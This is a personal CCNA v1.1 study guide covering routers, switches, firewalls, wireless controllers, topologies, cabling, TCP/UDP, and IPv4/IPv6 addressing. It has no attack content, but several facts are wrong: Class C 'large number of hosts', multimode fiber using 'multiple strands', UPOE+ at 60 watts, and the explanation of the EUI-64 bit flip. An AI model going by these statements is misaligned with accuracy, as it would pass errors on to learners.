CCNA v1.1 Study Guide

Alexander

September 1, 2024

1.0 Network Fundamentals

1.1 Explain the role and function of network components

- 1.1.a Routers
- 1.1.b Layer 2 and Layer 3 switches
- 1.1.c Next-generation firewalls and IPS
- 1.1.d Access points
- 1.1.e Controllers (Cisco DNA Center and WLC)
- 1.1.f Endpoints
- 1.1.g Servers
- 1.1.h PoE

Routers forward packets between computer networks (LANs and WANs), and operate at layer 3 of the OSI model. Routers maintain a routing table, which contains information about reachable networks and the next-hop IP addresses to reach them. When a router receives a packet, it compares the destination IP address of that packet to the routing table. Routing table information can be manually configured (static routes, default routes, directly connected networks), or dynamically configured via routing protocols. Routers can perform DPI and analyze traffic patterns like firewalls/IPSs. They can implement QoS mechanisms, permit/deny traffic with ACLs, perform NAT, load balance, ect. They can provide tools for network monitoring and management. They can provide redundancy and high availability with FHRPs. Routers can establish VPN tunnels to securely connect remote sites or individual users to a corporate network or another private network. Modern Routers can support dual-stack implementations meaning they can route both IPv4 and IPv6. Routers remove the data-link header (e.g., Ethernet header) when a packet arrives and then adds a new data-link header appropriate for the outgoing interface before forwarding the packet. This process is known as encapsulation. Routers do not maintain a MAC address table in the same way switches do. Routers do have ARP (Address Resolution Protocol) tables, which map IP addresses to MAC addresses for hosts within the same subnet. These tables are used for the ARP process not for making forwarding decisions. There are different types of ASICs in routers that are optimized for certain data plane tasks. These ASICs offload work that would otherwise be done by the CPU, enabling routers to handle high traffic volumes efficiently.

Switches use MAC addresses to forward frames within the same network segment. They operate at layer 2 of the OSI model, and build and maintain a MAC address table (CAM table) to keep track of which MAC addresses are associated with which physical ports. All of the ports, by default, on a switch are in the same broadcast domain. Each port on a switch is considered to be in a separate collision domain. VLANs (Virtual Local Area Networks) provide separation of broadcast domains on switches by logically dividing a single physical switch into multiple virtual switches, each operating as its own broadcast domain. Devices within the same VLAN can communicate directly with each other without the need for routing (at Layer 3) because they are within the same broadcast domain. Broadcast traffic, such as ARP (Address Resolution Protocol) requests and other Layer 2 broadcasts, remains contained within the VLAN and does not traverse VLAN boundaries by default. By segmenting networks into VLANs, broadcast traffic is confined within each VLAN, reducing network congestion and improving overall network performance. VLANs provide a level of security by segregating sensitive or critical network resources from other parts of the network. Administrators can logically group devices based on department, function, or security requirements without needing separate physical network infrastructure. Switches are often the first devices accessible to endpoints. They need additional security features some of which include: DAI, port security, DHCP snooping, ACLs, storm control, and 802.1X port-based authentication. Layer 3 switches are pivotal in modern networks, seamlessly integrating Layer 2 switching with Layer 3 routing capabilities. Operating across both the data link (Layer 2) and network layers (Layer 3) of the OSI model, they adeptly manage traffic by forwarding based on MAC addresses within VLANs and routing based on IP addresses between VLANs or subnets. This dual functionality optimizes network efficiency, enabling swift inter-VLAN communication and efficient bandwidth usage compared to traditional routers. Layer 3 switches boast diverse port types: standard Layer 2 ports for intra-VLAN communication, Layer 3 ports (routed ports) for IP routing and inter-VLAN routing, SVI ports for VLAN management and local Layer 3 operations, and uplink ports linking to routers or firewalls. They support dynamic routing protocols like OSPF and EIGRP, enhancing routing efficiency and network scalability. Additionally, Layer 3 switches facilitate High Availability (HA) through First Hop Redundancy Protocols (FHRPs) like HSRP, VRRP, or GLBP, ensuring seamless failover for gateway services. Moreover, they employ Layer 3 load balancing with EtherChannels, distributing traffic across aggregated links for improved bandwidth utilization and redundancy, further cementing their role as versatile, resilient components in enterprise networks.

Next-generation firewalls (NGFWs) represent a pivotal advancement in network security, surpassing traditional firewalls by integrating sophisticated features tailored to combat modern cyber threats. At the forefront of their capabilities is Deep Packet Inspection (DPI), which scrutinizes network traffic at the application layer. This enables NGFWs to not only enforce access policies based on port and protocol, but also to identify and block threats hidden within seemingly benign traffic. By analyzing Uniform Resource Identifiers (URIs) and inspecting packet payloads, NGFWs can detect malicious URLs and prevent users from accessing malicious websites that could compromise network security. Moreover, NGFWs leverage Application Visibility and Control (AVC), providing administrators with granular visibility into application usage and allowing for precise control over application behavior and bandwidth allocation. This capability not only enhances security posture but also optimizes network performance. NGFWs are also adept at retaining state awareness, maintaining contextual information about active network connections. This feature facilitates the accurate enforcement of security policies and enables quick responses to emerging threats such as zero-day exploits and other advanced malware. Integration with threat intelligence services like Cisco Talos enhances NGFWs' efficacy by providing real-time updates on the latest threat indicators, malicious IP addresses, and file hashes. These hashes, collected from identified threats, enable NGFWs to preemptively block known malware and phishing attempts, minimizing the risk posed by malicious actors. Similarly, next-generation Intrusion Prevention Systems (NGIPS) bolster network defenses by leveraging DPI to inspect traffic comprehensively. Beyond recognizing known signatures, NGIPS analyze traffic patterns and behavior anomalies to detect and prevent intrusions. They employ AVC to identify and control applications, allowing for the enforcement of policies that safeguard against malware disguised as legitimate software or applications. By retaining state and maintaining session awareness, NGIPS can detect and respond to suspicious activities in real-time, mitigating potential breaches before they escalate. This capability is crucial in the ongoing cat-and-mouse game between security providers and cybercriminals, where attackers continually evolve tactics to evade detection. In this dynamic landscape, NGFWs and NGIPS play integral roles in cybersecurity strategies, adapting to combat diverse threats such as ransomware, advanced persistent threats (APTs), and zero-day exploits. Their ability to analyze traffic at multiple layers and apply sophisticated heuristics ensures proactive defense against evolving threats. Moreover, their integration with threat intelligence platforms like Cisco Talos enables them to leverage global threat data, enhancing their ability to identify and mitigate emerging threats swiftly. This continuous evolution and adaptation underscore their importance in safeguarding networks against the ever-changing tactics of cyber adversaries.

The fundamental operational mode for Access Points (APs) is to provide wireless connectivity to client devices within a specific coverage area. APs bridge the gap between wireless clients, such as laptops, smartphones, and tablets, and the wired network infrastructure. APs operate primarily in a mode where they broadcast a wireless network, often identified by a Service Set Identifier (SSID). This network allows wireless clients to connect and access resources on the wired network, including internet access, file shares, printers, and other network services. APs manage the association and disassociation of wireless clients. When a client device enters the coverage area of an AP and selects the corresponding SSID, the AP facilitates the connection process, providing a seamless transition for devices moving between different AP coverage areas within the same network. APs handle the routing and forwarding of data packets between wireless clients and the wired network. They maintain a bridge between the wireless and wired segments, ensuring that traffic from wireless clients reaches its destination and vice versa. APs enforce security measures to protect wireless communications. This includes encryption protocols (e.g., WPA2-PSK, WPA3) to secure data transmitted over the wireless network and authentication mechanisms to verify the identity of connecting clients. APs are strategically deployed to provide adequate coverage across the intended area, ensuring that wireless clients receive reliable signal strength and bandwidth. Multiple APs may be deployed in larger environments to extend coverage and support a higher number of concurrent users. APs can be centrally managed or configured individually, depending on the network architecture and management requirements. Configuration settings include SSID settings, security policies, radio frequency (RF) parameters, and other operational parameters.

The purpose of a controller, within a network, is to centralize control plane functions. It is primarily focused on controlling the flow of data within the network, making rouing decisions, enforcing policies for security or QoS, and dynamically configuring network devices. Controllers typically interact with a Network Management System (NMS) via a NorthBound API or NorthBound Interface (NBI), and can interact with the network devices via a SouthBound API (SBI). A WLC manages lightweight APs. They are responsible for optimizing RF utilization, authenticating clients (802.1X), encrypting data (WPA2/3), monitoring, reporting and more. WLC ports are physical networking interfaces that allow the controller to connect to other network devices. There are a varity of ports types: service, console, redundancy, distribution system, and management ports. Service ports are used for out-of-band mangement, system recovery, and initial boot functions; always connects to a switch port in access mode. These ports will normally be in a management VLAN. The management port is primarily used for accessing and managing the WLC itself. This includes tasks such as configuration, monitoring, and troubleshooting of the WLC. Administrators connect to the management port to access the WLC's web-based GUI (HTTPS), CLI (SSH or Telnet), and other management protocols like SNMP and RADIUS for administrative purposes. The management port is typically secured and may be placed on a separate VLAN or network segment to protect management traffic from general user or client traffic just like the service port. Console ports are used for out-of-band management, system recovery, and initial boot functions; asynchronous connection to a terminal emulator. Redundancy ports are used to connect to a peer controller for high availability (HA) operation. Distribution system ports carry most of the data coming to and going from the controller. These normally connect using 802.1Q trunk mode. These ports should be configured as an unconditional EtherChannel, since Cisco WLCs do not support LACP/PAgP. Many different types of traffic flow via this channel: CAPWAP tunnel traffic, client data pass from wireless LANs to wired VLANs, plus any mangement traffic (HTTPS, SSH, SNMP, TFTP, etc.). Because the DS ports must carry data that is associated with many different VLANs, VLAN tags and numbers become crucial. The DS ports can operate independently, each one transporting multiple VLANs to a unique group of internal controller interfaces. For resiliency, you can configure DS ports in redundant pairs. One port is primarily used; if it fails, a backup port is used instead. WLC interfaces, unlike ports, are logical network connections configured within the controller's OS. Management interfaces are used for normal management traffic, such as RADIUS user authentication, WLC-to-WLC communication, web-based and SSH sessions, SNMP, NTP, syslog, and so on. The management interface is also used to terminate CAPWAP tunnels betweeen the controller and its APs. Redundancy management interfaces hold the management IP address of a redundant WLC that is part of a HA pair of controllers. The active WLC uses the management interface address, while the standby WLC uses the redundancy management address. The AP-Manager interface is used for communication between the WLC and the Access Points (APs). It handles CAPWAP control traffic, which includes configuration updates, monitoring, and control commands. Like the management interface, the AP-Manager interface connects to the network infrastructure through one of the distribution system ports. Dynamic interfaces are logical interfaces created on the WLC to manage user traffic and network connectivity for wireless clients. These interfaces are associated with WLANs (Wireless LANs) configured on the WLC and are typically mapped to VLANs in the distribution system. The distribution system ports on the WLC are used to connect to VLANs in the network infrastructure, enabling traffic separation and management.

Cisco DNA Center serves as a centralized network management platform designed to streamline and automate various aspects of network operations. It acts as a single pane of glass for managing enterprise network infrastructure, integrating tasks such as configuration, monitoring, troubleshooting, and policy management into one cohesive platform. By providing a unified view of the network, DNA Center simplifies the complexities associated with network management, allowing administrators to efficiently control and optimize network resources. One of the key functionalities of Cisco DNA Center is automation. Through policies and templates, DNA Center automates network provisioning and configuration tasks. This automation significantly reduces the time and effort required for deploying network changes, ensuring consistency and reducing the likelihood of human errors. By automating routine tasks, administrators can focus more on strategic initiatives and improving overall network efficiency. Cisco DNA Center enhances network assurance by leveraging advanced analytics to monitor and troubleshoot network performance in real-time. It continuously analyzes network traffic patterns, application behavior, and device health to detect anomalies and performance bottlenecks. This proactive approach allows administrators to identify and resolve issues before they impact user experience, thereby ensuring optimal network performance and reliability. In terms of security, Cisco DNA Center plays a crucial role in enforcing network security policies across the enterprise. It integrates with Cisco Identity Services Engine (ISE) to enforce access control policies based on user identity, device type, and application requirements. DNA Center also facilitates threat detection and mitigation through automated alerts and responses, enhancing overall network security posture and compliance with regulatory requirements. Cisco DNA Center seamlessly integrates with other Cisco technologies such as Software-Defined Access (SD-Access) and Software-Defined Wide Area Network (SD-WAN). This integration allows for unified management and orchestration of both campus and branch networks from a single platform. By consolidating management tasks across different Cisco solutions, DNA Center enables administrators to achieve greater operational efficiency and consistency in network management. DNA Center supports Intent-Based Networking (IBN) principles by translating business intent into network policies and configurations. IBN enables administrators to define desired business outcomes and automatically translate them into specific network configurations and policies. This approach improves agility, reduces manual configuration errors, and aligns network operations closely with business objectives, thereby enhancing overall network responsiveness and scalability. Within Cisco DNA Center, administrators can perform various essential operations such as device management, software image management, and network monitoring. The intuitive interface of DNA Center simplifies these tasks, allowing administrators to efficiently manage network devices, deploy software updates, and monitor network performance metrics. Familiarity with these basic operations is crucial for effectively utilizing DNA Center to manage and optimize network resources. Cisco DNA Center offers several benefits for network administrators. These include improved visibility into network operations, simplified management of network resources, faster troubleshooting capabilities, and enhanced security enforcement. By leveraging automation and analytics, DNA Center enables administrators to proactively manage network performance and security, thereby reducing operational complexity and optimizing the overall efficiency of enterprise networks.

Endpoints are devices or nodes within a network that communicate directly with users, applications, or other devices. They serve various purposes depending on their type and functions. An endpoint could be a server, laptop, phone, IoT devices, ect. Endpoints facilitate user interaction, consume and create data, enable communication, process data, or can aid with security of an organization.

Servers are fundamental to network operations, providing centralized resources and services to clients or other devices within a network. They perform various crucual functions: data storage/retrieval, application hosting, resource sharing, security and authentication, backup and recovery. Some of the most common types of servers include: web, file, database, application, mail, proxy, virtualization, DNS, DHCP, FTP, ect. Linux is widely favored as an operating system for servers due to a combination of compelling factors. First and foremost, its open-source nature not only makes it freely available but also allows for extensive customization and adaptation to specific server requirements without the constraints of proprietary licensing costs. Linux is renowned for its stability and reliability, often running for extended periods without needing rebooting, which is crucial for maintaining high uptime in server environments. Its robust security features, including a strong permissions model and rapid community-driven patching of vulnerabilities, bolster its reputation as a secure choice for sensitive data and critical applications. Flexibility is another key advantage, with a plethora of distributions catering to various needs, from lightweight deployments to enterprise-scale infrastructures. Linux scales seamlessly from small business servers to large-scale data centers, thanks to its efficient resource management and support for clustering and virtualization technologies. Moreover, the rich ecosystem of open-source tools and applications optimized for Linux, combined with a supportive global community offering extensive documentation and troubleshooting assistance, further solidifies its position as a preferred OS for powering diverse server workloads across industries.

Power over Ethernet (PoE) technology enables the transmission of electrical power alongside data over standard Ethernet cables. It plays a crucial role in network deployments where you have an endpoint that needs power but no infrastructure to support it. IEEE 802.3af (PoE) was the initial standard ratified in 2003, allowing devices to receive up to 15.4 watts of DC power per port using Ethernet cables. It operates by utilizing two pairs (four wires) within the Ethernet cable for both data transmission and power delivery. This standard enabled the deployment of devices such as IP phones and wireless access points without needing separate power cables. IEEE 802.3at (PoE+) extended the capabilities introduced by 802.3af by increasing the maximum power delivery to 25.5 watts per port. Like 802.3af, PoE+ also uses two pairs (four wires) for power transmission over Ethernet cables. This higher power capacity was particularly beneficial for devices with higher power requirements, such as pan-tilt-zoom (PTZ) cameras and dual-radio wireless access points. IEEE 802.3bt introduced enhancements to PoE technology, providing even higher power delivery options. It supports two variants: Type 3 (802.3bt Type 3) can deliver up to 60 watts of power per port, while Type 4 (802.3bt Type 4) can deliver up to 100 watts per port. To achieve these higher power levels, 802.3bt Type 3 and Type 4 utilize all four pairs (eight wires) in Ethernet cables for power transmission. This allows for more efficient power delivery to devices like high-performance IP cameras, video conferencing systems, and IoT devices. Cisco's UPOE (Universal Power over Ethernet) and UPOE+ standards are proprietary extensions that also utilize all four pairs (eight wires) in Ethernet cables for power delivery. UPOE provides up to 60 watts of DC power per port, aligning it with IEEE 802.3bt Type 3 PoE capabilities. UPOE+ continues this trend by also delivering up to 60 watts per port, focusing on enhanced power delivery efficiency and support for a broader range of high-power devices within Cisco network environments.

1.2 Describe characteristics of network topology architectures

- 1.2.a Two-tier
- 1.2.b Three-tier
- 1.2.c Spine-leaf
- 1.2.d WAN
- 1.2.e Small office/home office (SOHO)
- 1.2.f On-premise and cloud

In a two-tier design (collapsed core) you have an access and distribution layer. Access Switches connect directly to end users, providing user devices access to the LAN. Access switches normally send traffic to and from the end-user devices to which they are connected and sit at the edge of the LAN. Distribution switches provide a path through which the access switches can forward traffic to each other. By design, each of the access switches connects to at least one distribution switch. The distribution swithces provide the service of forwarding traffic to other parts of the LAN. Note that most designs use at least two uplinks to two different distribution switches for redundancy. With a three-tier design you have a core layer which aggregates distribution switches in very large campus LANs, providing very high forwarding rates for the larger volume of traffic due to the size of the network. The core layer is connected to the distribution switches often with a partial mesh design. A star topology is a design in which one central device connects to several others, so that if you drew the links out in all directions, the design would look like a star. A full mesh topology is where each node in the network connects to every other node $(N(N-1))/2$. A partial mesh is a design that connects a link between some pairs of nodes, but not all. A hybrid design combines the previous designs into a more complex topology. Spine-leaf or a Clos network is a network in which every leaf switch must connect to every spine and vice versa. Spine switches cannot connect to each other and the same applies for leaf switches. Endpoints connect only to leaf switches only. Endpoints can be connections to devices outside the data center, a physical server, a Cisco Unified Computing System (UCS), or the Application Policy Infrastructure Controller (APIC). WANs span a large geographical area, typically connecting multiple LANs or other types of networks together. These connect offices in different cities or countries. WANs may be Point-to-Point, Hub and Spoke, Mesh, ect. SOHO is just a stripped down office network. There are fewer devices but still supports basic network functionality. A SOHO office may be using a star, bus, or some partial mesh design. On-premise, also known as on-premises, refers to the practice of hosting and managing computing resources within an organization's own physical location, such as data centers or server rooms located on the organization's premises. Typically the org. has full control over both the hardware and software infrastructure. The organization is responsible for everything: maintenance, security, upgrades, and all aspects of IT management. The cost comes from purchasing hardware and ongoing operational costs for maintenance, power, cooling, and space, but you do own your own stuff. On-premise may use a star topology or a ring, though a ring is rare in modern networks. Cloud is increasingly popular for its agility, scalability, and ease of access, suitable for businesses of all sized seeking to reduce infrastructure cost and enhance operational efficiency. Clouds often abstract from physical topologies (overlay) but can inslude any of the above designs depending on the cloud provider's infrastructure and service offerings. They may use some hybrid design to allow on-premises to integrate both environments seamlessly.

1.3 Compare physical interface and cabling types

- 1.3.a Single-mode fiber, multimode fiber, copper
- 1.3.b Connections (Ethernet shared media and point-to-point)

Single-mode fiber is ideal for long-distance transmissions in telecommunications, data centers, and backbone networks where high bandwidth and low attenuation are required. This type of cable uses laser diodes to emit light into a core that is typically 9 microns. Using a single strand of glass fiber can carry data over distances up to tens of kilometers. Multi-mode fiber is used for shorter distance transmissions when compared to single-mode. It is used within buildings, campuses, and data centers where high bandwidth is needed. It uses LED or laser diodes to emit light into a larger core (50 or 62.5 microns). It suports multiple modes of light propagation. Since it uses multiple strands of glass fiber to carry data, it can reliably trasmit data hundreds of meters. Copper uses electrical signals to transmit data via copper wires (typically twisted pairs). It is used extensively for Ethernet connections in LANs, connecting computers, switches, routers, and other networking devices within a building or campus. In Ethernet shared media and point-to-point devices share the same communication medium, and each device receives all transmissions. Devices on the network must listen for their own MAC address to determine if transmissions is intended for them. Historically coax was used (10BASEE5 and 10BASEE2) or twisted pair (10BASE-T). Early Ethernet networks used shared media, but it is less common today due to limitations in scalability, collision domains, and performance degradation as network size increases. UTP (Unshielded Twisted Pair) cables are categorized into two main types: straight-through and crossover. Straight-through cables are used to connect devices with different network roles, such as a computer to a switch or router. Both ends of a straight-through cable follow the same wiring scheme, either T568A or T568B, ensuring direct pin-to-pin connectivity (e.g., Pin 1 to Pin 1, Pin 2 to Pin 2). In contrast, crossover cables are designed to directly link similar devices like two computers or two switches without the need for a network hub or switch in between. In a crossover cable, one end uses the T568A wiring scheme, where Pin 1 (white/green) connects to Pin 3 (white/orange) and Pin 2 (green) connects to Pin 6 (orange). The other end of the crossover cable follows the T568B wiring scheme, connecting Pin 1 (white/orange) to Pin 3 (white/green) and Pin 2 (orange) to Pin 6 (green). This crossover configuration allows the devices to communicate directly by crossing over the transmit and receive pairs, facilitating proper data transmission between similar network devices. Understanding these specific wiring configurations is essential for correctly establishing network connections based on device types and network requirements.

- 802.3 (Ethernet): copper, 100m, 10 Mbps
- 802.3u (Fast Ethernet): copper, 100m,100 Mbps
- 802.3z (Gigabit Ethernet): fiber, 5000m, 1000 Mbps
- 802.3ab (Gigbabit Ethernet): copper, 100m, 1000 Mbps

- 802.3an (10 Gigabit): copper, 100m, 10,000 Mbps

1.4 Identify interface and cable issues (collisions, error, mismatch duplex, and/or speed)

When collisions occur, the electrical signals representing the transmitted data overlap and interfere with each other. This interference distorts the original signals, making it impossible for the receiving devices to accurately reconstruct the transmitted data. In Ethernet networks, collisions often lead to the corruption of entire Ethernet frames (data packets) being transmitted. Ethernet uses a CSMA/CD (Carrier Sense Multiple Access with Collision Detection) protocol to detect collisions. When a collision is detected, all transmitting devices involved stop transmission, wait for a random backoff time, and then retry transmission. However, if multiple collisions occur, or if the collision happens close to the start of transmission, the data frame can be completely damaged or partially overwritten by subsequent transmissions. Since collisions result in corrupted or damaged frames, the original data transmitted during the collision cannot be recovered. The receiving device cannot make sense of the garbled signal received, and it typically discards the corrupted frame. In some cases, if the collision occurs late in the transmission process and the data has been partially received, it may still be discarded due to the inability to verify the integrity of the entire frame. Collisions also reduce the overall efficiency of the network by causing delays and requiring retransmissions. In Ethernet networks, collisions are managed through the CSMA/CD mechanism, which introduces additional overhead and can lead to increased latency and reduced throughput during periods of high collision rates. In modern Ethernet networks, technologies like full-duplex communication and switches with dedicated collision domains have largely mitigated collision issues by allowing devices to transmit and receive data simultaneously on separate channels or dedicated paths. Errors refer to data transmission problems that result in corrupted or lost packets. Errors can occur due to a variety of reasons including electrical interference, faulty cabling or connectors, software bugs, or hardware malfunctions. Errors can lead to data loss, retransmissions, and performance degradation. They are usually indicated by error counters in network device interfaces. Duplex refers to the ability of a network interface to send and receive data simultaneously. Duplex settings can be either half-duplex or full-duplex. Duplex mismatch can cause degraded network performance, intermittent connectivity issues, and increased error rates. Speed mismatch occurs when two devices connected on the same network link operate at different transmission speeds. Speed mismatches can lead to connectivity problems, data loss, and inefficient use of network resources. It's important for connected devices to operate at the same speed to ensure smooth communication.

1.5 Compare TCP to UDP

TCP (Transmission Control Protocol) is a core protocol of the Internet Protocol Suite that operates at the transport layer. It provides reliable, ordered, and error-checked delivery of data between applications running on hosts in a network. Fundamentally, TCP (Transmission Control Protocol) operates by establishing a reliable, connection-oriented communication between two hosts over an IP network. It begins with a three-way handshake to set up a connection, where one host sends a SYN segment, the receiving host responds with a SYN-ACK segment, and the connection is finalized with an ACK segment. TCP ensures reliable data transfer through sequence numbers assigned to each byte of data, facilitating ordered and reassembled segments at the receiver. Acknowledgments (ACKs) confirm receipt of data segments, enabling TCP to handle out-of-order delivery and retransmit lost packets for data integrity. Flow control is managed through window sizes, where the receiver advertises its buffer capacity to the sender to regulate data flow. While each TCP connection is between two hosts (one sender and one receiver), a host can maintain multiple simultaneous connections, allowing for efficient communication between different pairs of hosts or applications using multiplexing via port numbers. This architecture ensures TCP's robustness and effectiveness in providing reliable end-to-end communication across diverse network conditions. TCP uses several mechanisms to manage the flow of data between sender and receiver. These include the sliding window protocol, where the receiver advertises a window size indicating how much data it can receive before requiring acknowledgment. As data is acknowledged, the window slides to allow more data transmission. TCP's congestion avoidance mechanism aims to prevent network congestion by adjusting the sending rate based on network conditions. It uses algorithms like Slow Start, where the sender initially increases the transmission rate exponentially until it detects congestion, and then switches to Congestion Avoidance, where the rate is increased linearly. This helps balance network load without causing congestion collapse. TCP employs several mechanisms to respond to congestion events. When congestion is detected (e.g., through packet loss or increased round-trip times), TCP reduces its sending rate using algorithms like Fast Retransmit and Fast Recovery.

Fast Retransmit triggers retransmission of a lost packet upon detecting multiple duplicate acknowledgments. Fast Recovery allows the sender to continue sending data at a reduced rate without waiting for a timeout after Fast Retransmit. If a packet is not acknowledged within a certain timeout period, TCP assumes it is lost due to congestion or other reasons and retransmits the packet. This timeout duration dynamically adjusts based on network conditions. TCP uses Window Scaling to extend the effective window size beyond the traditional 16-bit limit (64 KB), allowing for efficient high-speed data transfer over modern high-bandwidth networks. Early Retransmit is a mechanism that allows TCP to retransmit a packet early if it detects indications of congestion, such as the arrival of duplicate acknowledgments. TCP's congestion control algorithms include variants like TCP Reno, TCP NewReno, TCP Vegas, and TCP Cubic, each with different strategies for detecting and responding to congestion events. TCP Cubic, for instance, uses a cubic function to adjust the congestion window size, providing a smoother and fairer response to network congestion.

UDP is a connectionless protocol. It does not establish a connection before sending data and does not guarantee delivery or order of packets. UDP is more lightweight and efficient for applications that can tolerate some packet loss, such as real-time multimedia streaming or online gaming. It does not provide reliability or guaranteed delivery. It does not retransmit lost packets or ensure that they are received in order. Applications using UDP must handle these aspects themselves if needed. Since there is less overhead work it is more efficient for transmitting data where reliability and ordering are less critical. It is best suited for applications where real-time and low-latency transmission is more important than guaranteed delivery, such as video streaming, voice over IP (VoIP), online gaming, DNS (Domain Name System), and IoT applications.

1.6 Configure and verify IPv4 addressing and subnetting

- configure: Router(config-if)# ip address <ip_address> <subnet_mask>
- verify: Router# show ip interface brief

1.7 Describe private IPv4 addressing

In the earliest days of networking and the ARPANET, there was no formalized IP addressing scheme. Networks were small and interconnected in a limited manner, often using ad-hoc addressing methods or relying on manual configuration. Networks were managed without the rigid class divisions seen in IPv4 classful addressing, and there was no formal system for subnetting or defining network boundaries. The move to classful addressing brought about a more organized and scalable approach to IP addressing, laying the foundation for the modern internet's growth and development.

Classful addressing was introduced around 1981 as a standardized approach to IPv4 addressing. It divided the IPv4 address space into five distinct classes, denoted by the high-order bits of the IP address. Each class had a specific range of addresses and a default subnet mask, itended to accomodate different network sizes.

- A (0.0.0.0 to 127.255.255.255) /8: used for large networks with a small number of high-capacity hosts
- B (128.0.0.0 to 191.255.255.255) /16: used for medium-sized networks
- C (192.0.0.0 to 223.255.255.255) /24: used for small networks with a large number of hosts
- D (224.0.0.0 to 239.255.255.255): used for multicast groups
- E (240.0.0.0 to 255.255.255.255): intended for research and development purposes and are not routable on the public internet.

Variable Length Subnet Masks (VLSM) allows for the use of subnet masks of varying lengths, not limited to the fixed boundaries. Network administrators can subnet a network into smaller subnets of different sizes according to their specific needs. This allows for more efficient use of IP address space by allocating addresses in smaller, more manageable blocks. Address aggregation also known as supernetting or prefix aggregation reduces the size of routing tables by combining multiple contiguous IP address blocks into a single route advertisement. This help minimize the number of routing table entries in routers across the internet, improving routing efficiency and reducing the overhead associated with routing updates.

NAT began as a workaround to extend the usability of the limited IPv4 address space. It allowed multiple devices within a private network to share a single public IP address by translating private IP addresses to public IP addresses when communicating over the Internet. NAT became standardized and widely implemented in networking equipment and protocols throughout the 1990s and early 2000s. Various types of NAT were developed to address different network configurations and requirements, such as Static NAT, Dynamic NAT, and Port Address Translation (PAT). As the Internet rapidly expanded in the late 20th century, the demand for IP addresses outstripped the available supply of IPv4 addresses. NAT played a crucial role in allowing organizations and Internet Service Providers (ISPs) to efficiently manage their address allocations and delay IPv4 address exhaustion. NAT introduced complexities in network design and management, particularly in scenarios requiring peer-to-peer communication, voice-over-IP (VoIP), and other real-time applications. It also influenced the development of protocols like STUN and TURN to facilitate communication across NAT boundaries. Despite the effectiveness of NAT in extending IPv4's lifespan, the eventual transition to IPv6 became necessary to address the long-term scalability and address exhaustion issues. IPv6, with its vastly larger address space, eliminates the need for NAT in most cases and provides a more sustainable solution for future Internet growth.

IPv4 private addressing refers to a range of IP addresses designed for use within private networks that are not routable on the public internet. These address are specified in RFC 1918 and are commonly used in home, office, and enterprise networks for internal communication.

- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16

The public IP address range refers to the IP addresses that are globally routable on the internet allowing devices to communicate directly with each other across different networks. Unlike private IP addresses, public IP addresses are unique and assigned by IANA to organizations, ISPs, or other entities that require connectivity to the internet. These addresses are used for devices and services that need to be accessible from the public internet. The public IP address space in IPv4 is managed through various RIRs around the world. The IANA has allocated serveral ranges of IPv4 addresses to these RIRs, who then assign them to ISPs and organization based on regional needs.

- 1.0.0.0 to 126.255.255.255 (excluding 10.0.0.0/8)
- 128.0.0.0 to 191.255.255.255 (excluding 172.16.0.0/12)
- 192.0.0.0 to 223.255.255.255 (excluding 192.168.0.0/16)

1.8 Configure and verify IPv6 address types

- configure: Router(config-if)# ipv6 address <IPv6_address>/<prefix_length>
- verify: Router# show ipv6 interface brief

1.9 Describe IPv6 address types

- 1.9.a Unicast (global, unique local, and link local)
- 1.9.b Anycast
- 1.9.c Multicast
- 1.9.d Modified EUI 64

A unicast address is used for one to one communication. Global unicast addresses are equivalent to public IPv4 addresses and are routable on the IPv6 internet. They typically consist of a 48-bit global routing prefix, a 16-bit subnet ID for hierarchical addressing, and a 64-bit interface ID to identify specific devices within a subnet. The global routing prefix is assigned by internet registeries (ARIN, RIPDE NCC, APNIC) to ISPs and large organizations.

FC00::/7 Unique local addresses (ULA) are equivalent to IPv4 private addresses and are used for local communication within a site or organization. They are not routable on the global IPv6 internet.

FE80::/10 Link-local addresses are used for communication within the same network segment. They are not routable beyond the immediate link.

Anycast addresses are used for one-to-nearest communication, typically for load balancing. These are common for DNS servers or Content Delivery Networks.

FF00::/8 Multicast is used for one-to-many communication, distributing data efficiently to multiple recipients simultaneously. IPv6 uses multicast IPv6 addresses for several purposes. Like IPv4, IPv6 includes a range of multicast addresses that can be used by multicast applications, with many of the same fundamental concepts as IPv4 multicasts. For instance, IANA defines the range FF30::/12 (all IPv6 addresses that begin with FF3) as the range of addresses to be used for some types of multicast applications. Additionally, different IPv6 RFCs reserve multicast addresses for specific purposes. For instance, OSPFv3 uses FF02::5 and FF02::6 as the all-OSPF-routers and all-DR-routers multicast addresses, respectively, similar to how OSPFv2 uses IPv4 addresses 224.0.0.5 and 224.0.0.6 for the equivalent purposes.

Modified EUI-64 is derived from a modified MAC address, used for automatic address configuration. Typically this is used for global unicast and link-local addresses. First, you will split the 48-bit (12 hex digits) MAC address and Insert 'FFFE' in the middle. Then, you will invert the 7th bit and append this modified MAC address to the prefix. In the context of Ethernet, the U/L (Universal/Local) bit is a single bit in the MAC (Media Access Control) address. Ethernet addresses are 48 bits long, and the U/L bit is located in the seventh bit position. If the U/L bit is set to 0, it indicates that the MAC address is universally administered, meaning it is assigned by the IEEE Registration Authority. If the U/L bit is set to 1, it indicates that the MAC address is locally administered, meaning it has been assigned by the organization that owns the device and does not necessarily follow IEEE-assigned addresses. IPv6 mandates that the seventh bit (U/L bit) of the MAC address should be flipped when deriving an EUI-64 identifier. If the U/L bit in the MAC address is 0 (indicating a universally administered address), it is flipped to 1 in the EUI-64 identifier. If the U/L bit in the MAC address is 1 (indicating a locally administered address), it is flipped to 0 in the EUI-64 identifier. By flipping the U/L bit, IPv6 ensures that the derived EUI-64 identifier is globally unique, even if the original MAC address was locally administered. This prevents potential conflicts that could arise if multiple devices were to generate the same IPv6 interface identifier based on locally administered MAC addresses. The flipping of the U/L bit aligns with IEEE and IETF standards for MAC address assignment and IPv6 address generation. It ensures that IPv6 addresses derived using EUI-64 are consistent and adhere to the principles of uniqueness and standardization.

reserved multicast addresses ↓

- All nodes- FF02::1
- All routers - FF02::2
- All-OSPF, All-OSPF-DR - FF02::5, FF02::6
- RIPng Routers - FF02::9
- EIGRPv6 Routers - FF02::A
- DHCP relay agent - FF02::1:2

IPv6 multicast scope terms ↓

- Interface-local - FF01
- Link-local - FF02
- Site-local - FF05

- Organization-local - FF08
- Global - FF0E

1.10 Verify IP parameters for Client OS

- ipconfig /all /release /renew
- ifconfig -a

1.11 Describe wireless principles

- 1.11.a Nonoverlapping Wi-Fi channels
- 1.11.b SSID
- 1.11.c RF
- 1.11.d Encryption

